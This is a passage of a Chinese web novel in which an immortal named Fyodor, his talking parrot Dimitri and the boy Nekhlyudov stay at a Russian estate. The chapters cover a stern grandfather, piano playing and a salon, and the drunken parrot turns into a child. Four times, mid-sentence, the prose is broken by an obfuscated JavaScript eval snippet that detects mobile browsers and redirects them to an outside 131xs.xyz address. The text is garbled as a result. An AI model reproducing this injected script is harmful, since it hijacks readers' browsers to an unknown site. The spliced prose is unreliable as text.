聂赫留朵夫小时候也来过这个庄园,当时他的生父还活着,母亲偶尔便会带着他来外祖父母这里住一阵子,只不过因为外祖父太过严厉,这个地方给他留下的记忆总是伴随着马鞭甩在身上的疼痛。 时至今日,他还是记得那个严苛得过头的外祖父,就连玛利亚太太,都对严厉的父亲印象深刻,她出嫁很多年了,仍记得年少时曾经受过的苛刻教育。 一想到要见到外祖父,聂赫留朵夫就有点紧张,让母亲帮他检查了一下仪表,才敢在管家的引导下推门进去。 一进门,就是一个如棕熊般高大的男人背手而立。从后背看,可以看到对方宽阔的脊背与灰白色的头发,对方穿着俄国的制式军装,肩上佩戴着俄式军衔肩章,因为在室内,所以没有戴军帽。 聂赫留朵夫咽了口唾沫,半晌才壮着胆子喊了声外祖父。 对方像是没听到开门声似的,一直在背着手,好似在欣赏花瓶里插好的花束,直到聂赫留朵夫出声,他才转过身来,锐利的目光在聂赫留朵夫身上扫过,仿佛审视一般,让聂赫留朵夫有些不自在地微微偏过过头,避免与其对视。 对方上上下下地打量了聂赫留朵夫一会儿,才冷哼一声,“还真是随了你那父亲的窝囊样子,和侏儒一样瘦弱。” 聂赫留朵夫的确没有继承他外祖父这样棕熊般的高壮身材,但也绝对和瘦弱搭不上边,只是因为此时与外祖父站在一起,两相比较之下,少年的身形难免矮了一头。 还没等聂赫留朵夫有什么反应,玛利亚太太就出声喝止了,“父亲,他还是个孩子!” 聂赫留朵夫眼中含着不明显的怒意,碍于某些原因,隐而不发,一声不吭地站在一旁,静静地看着母亲和外祖父进行争论——说得更准确些,应该是争吵才对。 这场闹剧持续的时间不长,兴许是因为难得有客人来到这座庄园,他的外祖父这回并没有说出什么让女儿没脸的话,说到后面,无话可说之时,只是重重地哼了一声,就拂袖而去了。 费奥多尔没有听完这场争吵,因为德米特里在进入庄园大门后太过沉迷看风景,还跟枝头上的麻雀斗了一会嘴,所以耽误了几分钟,等他们来到住宅,父女二人已经不欢而散了。 不过,虽然费奥多尔没看到现场,回到庄园主人为他们安排的房间之后,德米特里却凭借着优秀的听力和记忆力,惟妙惟肖地为他转述出了当时的场景,它清了清嗓子,模仿玛利亚太太的声线,“父亲,你不能总是这样对一个孩子!他是你的外孙,不是你的士兵!” “我为什么不能?”下一句话,就转变成了粗犷中带着些苍老的嗓音,语气中隐含被忤逆的不满,“他是沃尔康斯基的血脉,如果你这个母亲只会一味地放纵他,那么我就有权替你管教他!” “……” 德米特里模仿得太像了,连语气都一模一样,费奥多尔此前从来不知道自家鹦鹉还有这样的功能。 “你这是从哪学的?”费奥多尔对别人的家事不太关心,只是询问起了德米特里这个技能的由来,“不要随便学别人讲话。” 德米特里不以为然,但还是乖乖回答了,“我天生就会。”说着,它眼珠子转了转,也不知道一只鹦鹉是怎么做出这种灵动的表情的,下一刻,它 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193415|181131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就切换成了费奥多尔最熟悉的声音——他本人的声线。 “……谁让你在我床上吃坚果的?德米特里,如果你今天还想看电视,最好把这些碎屑都给我清理干净。”费奥多尔听到自己的声音这么说,如果他没记错的话,这是几天前,德米特里将坚果衔到他床上来吃的时候,他对德米特里说的话。 说实在的,就连他自己,都分辨不出德米特里模仿的声音和他本人有什么区别。 他:“…………” 眼见德米特里还要接着往下说,他迅速用手捏住了对方的喙,让对方只能与他大眼瞪小眼,而说不出什么话。 他贴近了鹦鹉,确定对方能清清楚楚地听到他说了什么。 “我应该找玛利亚太太要一根皮筋,”费奥多尔威胁性地说道,“这样我就可以将你的嘴像扎头发一样绑起来。” 德米特里立刻瞪大了眼睛,拼命扑扇着翅膀,发出呜呜的声音,示意饲养人放开它的嘴。过了半晌,费奥多尔才松开手,一松手,德米特里就滋哇乱叫地飞到了客房衣柜的最顶端,惊魂未定地在上面瞪着他,用自己的本音大喊道,“虐待小孩,你这是虐待小孩!” “我想,一个合格的小孩应该可以管好自己的嘴,”费奥多尔不跟德米特里争论,而是另外换了个话题,“答应我,不要在除我以外的人面前学别人说话,好吗?这是很不礼貌的行为。” “可是你吓我。”德米特里在衣柜上面踱步,微微张开翅膀,一副气鼓鼓的样子,“你刚刚还捏我的嘴。” “我向你道歉,”费奥多尔叹了口气,“……我承认,恐吓是不正确的教育方式。我应该用更温和的方法。” “好吧,既然你都这么说了。”德米特里这才高兴起来,它的情绪总是来得快,去得也快,这会儿已经不计前嫌地飞下来了,“那德米特里只好勉为其难地答应你了。” 费奥多尔笑了笑,轻轻摸了摸对方背上的羽毛,“你会说到做到的,是不是?” 德米特里回答,“对,我会做到的,所有承诺的事情,德米特里都会做到。” 13. chapter13 到别人家的庄园做客的第一天,费奥多尔没有做别的安排,将德米特里专用的小窝和它爱吃的坚果摆在桌上之后,就找了把单人沙发坐下看书。 这个庄园看起来有些年头了,不少布置都充满了上个世纪俄国流行的风格,费奥多尔住进的客房也是这样,房间里的部分装饰让他想起了一百多年前的时光,那段时间在他漫长的生命中,算不上有多久远,只是如今回想起来,好像都是上辈子的事了,恍如隔世。 他单手撑着头,稍微出神一会,就发现那段记忆都不知何时褪了色,变得模糊起来了。 在他走神的时候,德米特里还在房间里到处探索,它像个充满好奇心的冒险家,热衷于钻到各种不起眼的小角落里,去观察大人们司空见惯的寻常事物。 就在德米特里钻到床底下时,它耳尖地听到了门外细微的脚步声,于是就抖了抖身上的灰,快速从底下钻出来。 直到第一声叩击声响起,费奥多尔才回过神来,正打算去开门,就见德米特里先他一步飞到了门把手上。按理来说,以德米特里一只鸟的力量,是打不开门的,但不知是因为打开这扇门需要的力度比较轻,还是因为德米特里变重了,总之,德米特里折腾了几下,门就开了。 来者是德米特里熟悉的人,玛利亚太太。对方回到娘家的第一时间就安顿好了儿子,再收拾了一下行李,然后就马不停蹄地来找了费奥多尔。 门扉渐渐打开一条缝,而门后却空无一人,玛利亚太太见状愣了一下,紧接着就看到了德米特里的身子从后面探出来,因为她的视角比较高,所以没有看到站在门把手上的德米特里。 或许是因为舟车劳顿,她的脸色看起来有些苍白,眼眶有些红,不过她自己好像没注意到。在见到德米特里时,她如往常般笑了一下,像是哄小孩子似的,温声细语地说道,“是你开的门吗?真聪明。” 德米特里点点头,然后一点都不见外地跳到了对方的胳膊上。 费奥多尔也很快过来了,玛利亚太太跟德米特里说了几句话,把德米特里哄的开开心心,又递来了一篮子蓝莓,正好是德米特里最喜欢的那种浆果。 然后她就走了,费奥多尔最后合上门的时候,就看见对方独自一人的背影,还有走廊里偏昏暗的光线在她身上洒下的柔和光影。 蓝莓已经洗过了,所以费奥多尔直接用碟子装起来,让德米特里自己取食。 蓝莓是德米特里最钟爱的食物之一,它这次也是迫不及待地爬上了桌子,啄食了几颗蓝莓,根据费奥多尔的经验,至少在半个小时之内,德米特里都会安安静静地进食,不会搞出什么乱子。 可是这回德米特里没有一口气吃完,它只吃了一小部分,就突然停住了动作,原地静止了半晌,就对费奥多尔说道,“为什么人的眼睛会变红?” “一般而言,是因为难过。”费奥多尔目光放在书页上。 这样一说,德米特里立刻就懂了,想起玛利亚太太泛红的眼,后知后觉地意识到这件事。 为什么会难过呢?德米特里这么想着,脑海中划过几个小时前,它听到的争吵声,如果没理解错的话,玛利亚太太是在跟她的父亲吵架。 德米特里若有所思,想了又想,也没得出什么结果,盯着窗户看了几秒,静悄悄地飞到窗边,又回到费奥多尔的脚边,很轻很轻地用喙碰了一下对方的裤腿,对方并非察觉,目光始终集中在书上。 德米特里又将视线移到了窗户,一瞬间想过了很多东西,费奥多尔平时会把窗户严严实实关起来,也很明确地告诉过它,小鸟不可以独自外出。 它又悄悄地飞到了窗户边上,费奥多尔还是在看书,沉浸在自己的世界里,让人有种错觉——仿佛它就这样飞走,对方也不会有所察觉。 不过德米特里还远远没到离巢的年纪,它没有贸然离巢的想法,于是在飞出去之前,还特意跟费奥多尔说了一声,“我出去一下。” “……”费奥多尔像是才发现一样,抬眸看了它一眼,“什么时候回来?” “我很快回来!”说着,德米特里就拍着翅膀出去了,费奥多尔目送它飞走,表情平淡,眼神有些幽深,让人看不出他在想什么。 . 德米特里想去找玛利亚太太,但是它并不清楚对方住在哪里,在附近飞了几圈,听到了隐隐约约的音乐声,顺着乐声,它发现了一个窗口,并透过窗口看到了一个熟悉的身影,聂赫留朵夫穿着得体的服装,一个人坐在钢琴椅上,手指在黑白琴键上不间断地跳跃着。 对方每一次按下琴键,都显得很用力,好像不是在弹琴,而是在进行一场战斗,德米特里飞到窗口的时候,就看到对方额角青筋都暴了起来,浑身郁气萦绕不散,看起来心情很糟糕。 随着最后一个音符落地,对方停了下来,皱着眉看向窗口,心情不悦的样子看起来像极了他的外祖父,尤其是那种隐晦的怒意,几乎像了个十成十。 不过在德米特里出声后,这种夹杂着愤怒和郁闷的情绪就如同大风天气的阴云一样,飞快地散去了。 “你还好吗?”德米特里礼貌地敲了敲窗户,见对方愣了愣,它又用喙啄了一下玻璃,对方听到清脆的声响,才反应过来,快步过来打开窗户 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193416|181131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,语气惊讶,“你怎么在这里?快进来,不要掉下去了。” 这时候的他才与德米特里印象里的聂赫留朵夫重合起来。 “我是来找玛利亚太太的,而且,我才不会掉下去,”德米特里从善如流地飞到了对方肩膀上,“就算我掉下去了,我也可以从一楼爬上来。” “掉下去会受伤的吧。”聂赫留朵夫小心地捻起德米特里无意间掉下来的灰色绒羽,并放在一个盒子里,“而且,为什么不是飞上来?” “因为我是攀禽,如果能用爬的,自然不必用飞的。”德米特里振振有词,直接将聂赫留朵夫说服了。 “妈妈去找……外祖父了,”聂赫留朵夫说道,“应该很快就会回来。”说着,他看到旁边摆着的果盘,就拿了几个核桃出来,熟练地开核桃,喂给德米特里吃。而德米特里也习以为常地去接,还吧唧了下嘴,“核桃,好吃。” 聂赫留朵夫笑了笑,没说话,继续开核桃。德米特里浅尝了几个核桃,就不吃了,它飞到钢琴盖上,问道,“这是什么?” 聂赫留朵夫回答道,“钢琴。” “你为什么要揍钢琴?”德米特里想了想,决定用“揍”来形容对方刚才的弹奏。 聂赫留朵夫没想到德米特里看到了他怒气冲冲弹钢琴的样子,有些赫然,又联想到自己在外祖父那里受到的不公正评价,不禁有些烦闷,“我不明白我做错了什么,好像从我有记忆以来,外祖父就很讨厌我。” 德米特里歪头看着他,让他的倾诉欲如井喷般爆发。 他从一个抽屉里取出一截鞭子,指着鞭子上暗红色的血渍对德米特里说,“这个是马鞭,可以用来鞭打马匹,让马匹跑得更快。我外祖父只要觉得我做得不够好,就会用这个来抽我的大腿,我小时候经常挨鞭子。而且只要我一哭,他就说我是个跟我父亲一样的窝囊废,不是个男子汉。” “不过我现在可不会哭了,”聂赫留朵夫说道,“虽然我现在还不算个真正的男子汉,但是我也绝对不会像他那样暴戾——反正我不会用鞭子抽人。” “听起来真够吓人的。”德米特里说道。 “你见过我外祖父吗?就是一个跟棕熊一样高大的暴躁老头,眼睛是灰色的,看人的眼神就跟秃鹫一样吓人,如果你见到他,一定要离他远一点。”聂赫留朵夫对外祖父的印象很坏,特意添油加醋道,“我怕你被他抽一顿。” 德米特里闻言缩了缩,这鞭子都快比它脖子粗了,它的小身板可扛不住一顿抽。但它只是下意识地瑟缩了一下,想到自己的依仗,马上就不怂了,“没关系,我爸爸会保护我的。” 14. chapter14 聂赫留朵夫还弹了首曲子给德米特里听,他一边弹,一边分心说话,“我都好久没弹琴了,依稀记得当初是外祖母教我弹的琴,没想到现在还能弹出来。” 德米特里觉得还挺好听的,等聂赫留朵夫弹完,它就跳到了琴键上,当钢琴在它的动作下发出第一声时,它又试探着用爪子去踩其他的按键,渐渐地,就明白了这种乐器应该如何弹奏。 聂赫留朵夫没有阻止德米特里,他将德米特里当做可以分享快乐的朋友,而不仅仅只是一只格外聪明的鸟儿,所以并不担心鹦鹉的爪子对钢琴造成什么损坏。 德米特里按照聂赫留朵夫刚才按下琴键的顺序在琴键上蹦蹦跳跳,如果间隔过大,就扑扇着翅膀,准确落在正确的琴键上。随着德米特里越来越大,它的记忆力也突飞猛进,虽然碍于鹦鹉爪子本身的限制,它没办法用正常速度弹完一整首曲子,但是断断续续弹下来,居然没有一处错误。 聂赫留朵夫早就在前段时间的相处中理解并接受了德米特里的不同寻常,否则他也不会将德米特里当做平等的朋友来对待。但即使是他,也不由得有些震惊,“如果这是你第一次接触钢琴,那你就是一个钢琴天才!” 德米特里很矜持地说道,“谢谢。” 谈话间,玛利亚太太回来了,聂赫留朵夫一见到母亲的身影,就迫不及待地跟她说了德米特里居然会弹钢琴的事情,而德米特里也很配合地演示了一遍。 玛利亚太太不知跟她父亲谈了些什么,本来看起来心情不太好,一听到德米特里的这个特异技能,注意力立刻被吸引了,就像她第一次跟德米特里见面时一样,十分吃惊,“噢,噢,真是不可思议!” 经此一事,原本造成负面情绪的事情都被她抛之脑后,此时的玛利亚太太满心满眼都只有这只聪明的鹦鹉了,她将德米特里捧在手里,眼里溢满了喜爱,“德米宝贝,你真是个可爱的小钢琴家!” 德米特里被夸的有些飘飘然,但还是装作矜持的样子。在玛利亚太太的围观下,它又在聂赫留朵夫的示范下试了别的钢琴曲,无一例外都成功了。 玛利亚太太在一旁捧场,一边有节奏地鼓着掌,一边轻轻地哼着歌,用自创的歌词给德米特里伴奏,等德米特里依依不舍地跟她告别时,她还送给德米特里一个贴面礼,吻了吻鹦鹉覆盖着羽毛的脸颊。 德米特里带着脸颊上的口红印回去了,就跟喝醉了酒似的,整只鸟都有点晕乎乎的,脸颊上晕染开了一坨红,就像腮红一样,费奥多尔见它这幅模样,还用手去摸了一下,结果德米特里就像没有支撑点似的歪倒在了他手里,双爪朝上蜷缩,一动不动。 费奥多尔一只手把德米特里像春卷一样抓起来,德米特里睁着圆溜溜的眼睛看着他,歪着头卖萌,“爸爸,爸爸!” 费奥多尔:“……” 因为玛利亚太太亲吻了德米特里的两边脸颊,所以德米特里两边都有腮红,如果忽略德米特里富有层次感的灰白相间的颈部羽毛与鲜红的尾羽,它看上去就像一只灰化玄凤鹦鹉。 费奥多尔不动声色地多抚摸了两下鹦鹉,感觉手心都暖和了起来,德米特里也是完全不挣扎,哼哼了两声,不知不觉间闭上了眼睛,竟然就这么躺在他手心睡着了。 . 德米特里在庄园借住的这几天,几乎成了全庄园的明星。 来庄园的第二天,它就站在旁边的树梢上,听着农民少年的口哨声学会了吹口哨,一回去,就向费奥多尔展示它欢快的口哨声。费奥多尔不胜其扰,便想了个办法,让德米特里去找聂赫留朵夫玩,让费奥多尔意想不到的是,当天,德米特里又开发出了新技能——用口哨哼歌。 即使是吹口哨,也能吹出不同音调的口哨,所以用口哨哼歌理论上是可行的。德米特里的音感很好,不管什么曲子,它只要听一遍,就能记住调子,导致它将听过的所有钢琴曲都改编出了口哨版本,又因为口哨的声音比较欢快,所以就算是偏忧郁的钢琴曲,被德米特里哼起来,也显得活泼而明快。 聂赫留朵夫对德米特里是个音乐天才这件事深信不疑,玛利亚太太也是一样。继钢琴家过后,玛利亚太太又给德米特里取了个新外号,口哨歌唱家。 玛利亚太太跟聂赫留朵夫不愧是亲生母子,对德米特里都是如出一辙的热情。若非后来被筹办沙龙占用了大部分时间,她一定会乐此不疲地和德米特里玩耍。 聂赫留朵夫有时也会因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193417|181131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外祖父的要求而被迫去学习一些他根本不感兴趣的东西,比如军事兵法什么的,这种时候,德米特里就只能自己想办法找乐子。 在刚刚学会吹口哨的时候,德米特里几乎无时无刻不在吹口哨,它是一只很有教养的鹦鹉,所以吹口哨时还会特意到室外,要么站在麻雀的鸟窝旁边,吹给鸟窝里那些张着黄口乞食的雏鸟们听,要么就当一个孤独的音乐家,自娱自乐。 极少数时候,德米特里也会碰到那个农民少年,跟在对方后面,用口哨哼歌给对方听。对方笑着回了一声口哨,只可惜还没来得及交流几句,对方就被扛着锄头的父亲拖走了。 吹口哨也是会腻的。德米特里无事可做时,就会到处飞来飞去,直到发现消遣的方法为止,有一次,它站在室内的扶梯上,用喙去梳理羽毛,忽然看到一个没见过的褐色头发的女佣,对方穿着洗的发白的围裙,拿着一把扫帚,正低着头扫地。 德米特里眼睛一亮,和对方打了声招呼,“你好。” 对方疑惑地抬起头来,扫视周围一圈,都没发现人影,不由得一头雾水。 德米特里又喊了对方一次,“我在这里。” 对方这才看向扶梯上的德米特里,脸上出现明显的惊讶神色,然后嗫嚅着嘴唇,犹豫着怎么称呼德米特里。 德米特里友好地说道,“我叫德米特里,我可以知道你的名字吗?” “当、然,”对方有些口吃地说道,“我是瓦列莉亚·米哈伊诺夫·伊万诺娃,很高兴、见到你。” “我也很高兴见到你,美丽的瓦列莉亚小姐。”德米特里说道,“请问你可以听我唱歌吗?” 面对这样的夸赞,对方像是有些受宠若惊似的,红着脸答应了,“当然、可以。” 然后德米特里就开始吹口哨,它哼的是很经典的曲调,就算是普通的农民,也时常会哼一哼的那种。瓦列莉亚一边扫地,一边情不自禁地跟着唱了两句。 后来,德米特里从聂赫留朵夫口中听说,瓦列莉亚是附近农奴的女儿,其实并非他们家中雇佣的女佣,只是因为瓦列莉亚家里耕种的是聂赫留朵夫家里的土地,所以在沙龙举办前这样忙碌的时刻,理所当然要提供劳动服务。 15.chapter15 对于费奥多尔这种喜静的人来说,德米特里大多数时候都显得过于吵闹,当德米特里学会吹口哨的时候,费奥多尔就想起了当初德米特里疯狂学鸭子叫的那几天,那时他几乎整夜整夜地无法入睡。 好在现在德米特里已经能讲得通道理了,费奥多尔只用了几句话的工夫,就将德米特里忽悠去找别人玩了。不过这样独处的时光总是不长久的,费奥多尔还没来得及处理完之前堆积的事务,德米特里就又回来了——带着它引以为傲的歌喉。 费奥多尔面无表情地听着鹦鹉嘹亮的歌声,感觉脑瓜子嗡嗡的,明明眼前只有一只聒噪的鹦鹉,他却有种错觉,好像周围有五百只鸭子围着他叫唤个不停。 费奥多尔对音乐的鉴赏能力仅限于大提琴之类的古典乐器,还有正常的人声演唱,绝不包括这样闻所未闻的口哨唱歌法。 当然,他得承认,德米特里从始至终都没有跑调,一直都在调上。 德米特里的嗓子很好,唱很久都不会感到疲惫。不知过了多久,费奥多尔大脑放空地盯着空气中的某一处,耳边的唱歌声突然停了,只见德米特里眼睛亮晶晶的,仰头问他,“好听吗?爸爸,我唱的好听吗?” “……”费奥多尔顿了顿,说道,“好听。这样悦耳的歌声,理应让更多人听到。” 在他说出违心话之后,得到了意料之中的结果——德米特里被哄得高高兴兴,拍着翅膀出去找其他人玩了,费奥多尔又重新拥有了自己的私人空间。 就像世界上的大多数父母一样,自从养了孩子之后,费奥多尔的隐私空间就受到了相当程度的压缩,德米特里还太小了,不懂事,所以他不能随便在德米特里面前暴露太多东西,很多事情都得避着德米特里来。 偶尔,他也会借用一些德米特里的言灵能力,用来做一些无伤大雅的小事……但这样的“借用”,都必须保证一个前提——德米特里什么都不知道。 鹦鹉的生长速度是很快的,德米特里在刚破壳一个月内,几乎什么话都不会说,连毛都没长齐,看上去就像一只拔了毛的鸡崽,又过了两个月,它就大变样了,趁着饲养人不注意,它就自己学会了飞行,还能用俄语和人正常交流,简直是一天一个样,到了现在,任由谁见了德米特里,都会油然而生一种感觉——哇,它的饲养人真的将它养的很好。 如果是爱鸟人士,说不定还会想和费奥多尔交流一下养鸟体验,也好向他请教一下——他是怎么把鸟养得这么珠圆玉润的? 能把天生体态颀长的非洲灰鹦鹉养得圆滚滚,真的是很有天赋了。 . 过了几天,庄园举办了一场沙龙。俄国的贵族名流们总是喜欢在沙龙聚会之类的场合交流感情,如果有哪个贵夫人或大老爷发来了一张沙龙邀请函,大家都会愿意走一趟的。 作为宴请众人的主人家成员之一,聂赫留朵夫也不得不稍作打扮,他在衣帽间里磨磨蹭蹭半天,站在全身镜前面,皱眉看着镜子里的自己,怎么看都觉得不满意。 他扯了扯领口处的花边蕾丝,露出嫌弃的表情,“这样老式的礼服早该被时代抛弃了,瞧,”他对德米特里努了努嘴,咳了一声,板起脸来,模仿他外祖父平时的严肃样子,“死气沉沉的。” 德米特里在一旁看着,倒是提出了不一样的看法,“其实挺华丽的。”它新奇地用爪子勾了一下对方的衬衣下摆,结果指甲挂在了花边上,抽不出来了,还是聂赫留朵夫捏着它的爪子帮它抽了出来。 “是吗?”聂赫留朵夫说道,“我还是更喜欢骑马装,看起来要利落多了。”他又照了下镜子,因为德米特里的评价,这身不符合他审美的礼服在他眼里好像也没那么难看了,于是便说,“好吧,其实也没那么糟糕。” 因为这场沙龙筹办的意义比较重大,由于疾病而卧床的外祖母短暂地出现了一会儿。与聂赫留朵夫记忆相比,外祖母显得更老了,额头的沟壑很深,眼珠也是浑浊的,比起还算神采奕奕的外祖父,外祖母看上去已经半只脚迈入坟墓了。 聂赫留朵夫只在沙龙开始时露了面,等到人们在觥筹交错之间开始互相吹捧,并谈起最近的逸闻趣事之时,他就悄悄地避开人群的视线,找了个安静的角落坐下。 等四下无人时,他才取下头顶的帽子,和藏在帽子里的德米特里说话,“这样的聚会真没意思,是不是?” “举办聚会的人要和数不清的人喝酒,聊天,我打赌他们能喝完至少四十俄磅的伏特加。但说实话,他们聊的都不是什么有意义的内容——他们说的宫廷八卦,战争局势,我知道,他们也都知道,所以他们只是为了社交而聊天而已——我认为这样的社交完全没有意义,有这时间,完全可以做其他事情。” 德米特里从帽子里探出头来,闻言好奇地问道,“伏特加?那是什么?” “一种非常美妙的饮料。”对方回答道,“没有哪个俄国男人能拒绝伏特加,确实滋味不错。但凡事都不能过量,你看,那边就有个喝多了的家伙,醉倒在花坛里了。” 一个醉醺醺的中年男人躺在旁边的花坛里,脸颊酡红,一看就醉的不清。有佣人注意到了有老爷醉倒了,赶紧过来将对方扶起来,可对方却摆摆手,粗暴地拒绝了佣人的搀扶,扭头朝一同来赴宴的朋友喊道,“再来一杯!我、可不会认输……” 男人的妻子就在不远处,见丈夫醉成这幅德行,连忙走远了些,用扇子遮住脸,撇过头,装作不认识对方。 “真是个酒鬼,他的妻子要跟他一起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16206079|181131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丢脸了。”聂赫留朵夫不着痕迹地带着帽子和帽子里的德米特里离远了一些,“一个合格的丈夫可不应该做这种事。” 聂赫留朵夫略有些嫌弃地看了一眼醉鬼,没注意到德米特里盯着酒杯,目光若有所思。 沙龙进行到后半段,玛利亚太太来找聂赫留朵夫,对他说,“还记得我之前跟你提过的改姓的事情吗?你外祖父过段时间就要领兵出征,所以你得改回原来的贵族姓氏,法律才会承认你的继承权。” “走吧,莫斯科负责改名的官员已经在候着了。” “好吧,好吧。我们能快点吗?德米特里还在等我。”聂赫留朵夫有些烦躁,让佣人帮忙看着他的帽子,还有德米特里。他对佣人再三强调,不要让那些醉汉把酒精染到德米特里的羽毛上——鹦鹉这种能口吐人言的鸟儿在贵族之间很是流行,没有谁会不喜欢德米特里的。他毫不怀疑,如果有机会,说不定会有品行不端的家伙试图偷走它。 结果等聂赫留朵夫回来的时候,就看见了手足无措的佣人,以及躺在桌子上的翻肚皮的德米特里,他还以为出了什么事,连忙过去查看情况,却发现德米特里身上弥漫出一股强烈的酒气,就像在酒精里浸泡过一样。 一问佣人,还真是这样,在他走后,德米特里就趁着佣人不注意,飞到桌子上去偷喝酒杯里的伏特加,只喝了两口就醉了,直接一头栽进了酒杯。等佣人把它从杯子里捞出来,它整只鸟都湿漉漉的,脑袋懵懵的,看东西都有重影。 等聂赫留朵夫靠近时,它认出了对方,本想叫对方名字,结果因为打嗝打个不停,只能睁着圆溜溜的眼睛,直勾勾地看着对方。 “……感觉费奥多尔先生会杀了我。”聂赫留朵夫莫名有些心虚地把德米特里带了回去,一边走,一边自言自语道,“话说鹦鹉能喝酒吗?不管了,我得先给你洗个澡——不对,当务之急是考虑一下怎么跟费奥多尔先生解释这件事。”——他真的不是故意的! 德米特里醉得神志不清,还时不时打几个酒嗝。就在聂赫留朵夫去找温水给它洗澡的时候,意外发生了,聂赫留朵夫感觉手臂忽然一重,低头一看,放在臂弯里的鹦鹉不翼而飞,取而代之的是一个陌生的孩童。 孩童有着一头与德米特里羽毛颜色相似的灰色直发,发尾是渐变的鲜红色,头发长长地垂落到地上,遮住了不着寸缕的皮肤,从发丝间漏出的一节白皙胳膊,正在无意识地像鸟儿振翅一样慢慢摆动着。 聂赫留朵夫一开始以为自己产生了幻觉,还腾出一只手擦了擦眼睛,直到听见对方醉酒迷蒙时的呢喃,靠着对方略带沙哑的熟悉声音,他才真正确定了一件事——德米特里变成人了。 聂赫留朵夫:“……” 这下是真坏了。 16.chapter16 聂赫留朵夫被打乱了分寸,一时间手忙脚乱,赶紧回自己房间翻箱倒柜,好歹给德米特里找了身衣服穿。 这时候他就开始庆幸母亲没有把自己儿时的衣物扔掉了,现在那些旧衣服刚好能给德米特里穿。 德米特里变成人之后,聂赫留朵夫就不敢随便给对方洗澡了,他不确定德米特里到底是因为什么变成人,所以不能轻举妄动。 德米特里晕乎乎的,还不知道发生了什么,只是一个劲地咧着嘴笑,到这时聂赫留朵夫才有空去看德米特里变成人后的正面,后者看上去只有五六岁,眼眸是柔和的婴儿蓝,生得唇红齿白,脸上还有婴儿肥,浓密的灰色长卷发散落在后背,比羽毛还要蓬松和柔软。 聂赫留朵夫屏息凝神地看了德米特里半天,才下定决心,缓缓伸出一只手,小心翼翼地捏了下对方的脸蛋,引得对方迷迷糊糊地看过来,无意识地冲他露出一个天使般的微笑,嘴里含糊不清地说着,“你、好……你好……德米特里,是有礼貌的鸟……要……主动和别人问好……” “……”聂赫留朵夫脑子里忽然冒出了一个可耻的念头。 ……对不起,费奥多尔先生。他有些羞愧,有那么一瞬间,他是真的想过偷走德米特里。 在心里设想过很多遍如何与费奥多尔解释之后,聂赫留朵夫才出发去找费奥多尔,在对方房间的门前,他踌躇了许久,才硬着头皮敲响了房门。 敲第一下时,屋内一点动静也没有。聂赫留朵夫又多敲了两下,过了十几秒钟,还是没有回应,正当他以为费奥多尔外出了的时候,忽然听到身后传来一道声音。 “有什么事吗?”聂赫留朵夫回过头来,就看见费奥多尔无声无息地站到了他的身后,如同一个叫人完全察觉不到的幽灵。 聂赫留朵夫吓了一跳,心跳得特别快,面上还是保持着镇定,和费奥多尔大致说明了情况。 “啊……是这样啊。”费奥多尔语气平静。 “列夫·尼古拉耶维奇先生。”费奥多尔用最平淡的语调说出最让人压力山大的话,“容我一问,你为什么没有看好德米特里呢?你来找德米特里玩耍的时候,我未经思考就同意了你的请求,因为我相信你作为一个大孩子,可以照顾好德米特里这个不懂事的小孩子。” 列夫·尼古拉耶维奇,是聂赫留朵夫的名字和父称。一般来说,俄国人的大名组成包括名字、父称和姓氏,在严肃的正式场合,长辈往往会用名字+父称来称呼小辈,就像费奥多尔现在这样。 更何况费奥多尔还用了“先生”这个尊称,让聂赫留朵夫感觉脸上火辣辣的,十分愧疚。 “抱歉,是我的失职。”聂赫留朵夫真诚道歉,认为是自己没有看好德米特里,也辜负了费奥多尔先生珍贵的信任。 好在费奥多尔先生宽宏大量地原谅了他,他这才松了口气,顺着走廊回到自己的房间,看到窗边橘红色的斜阳,才惊觉今天居然已经快要结束了。这一天下来,他好像什么也没做,只是参加了沙龙,又和德米特里聊了会儿天,结果就日落西山了。 今天可真够刺激的。临睡时,闭上眼的前一刻,他不由自主地心想。 . 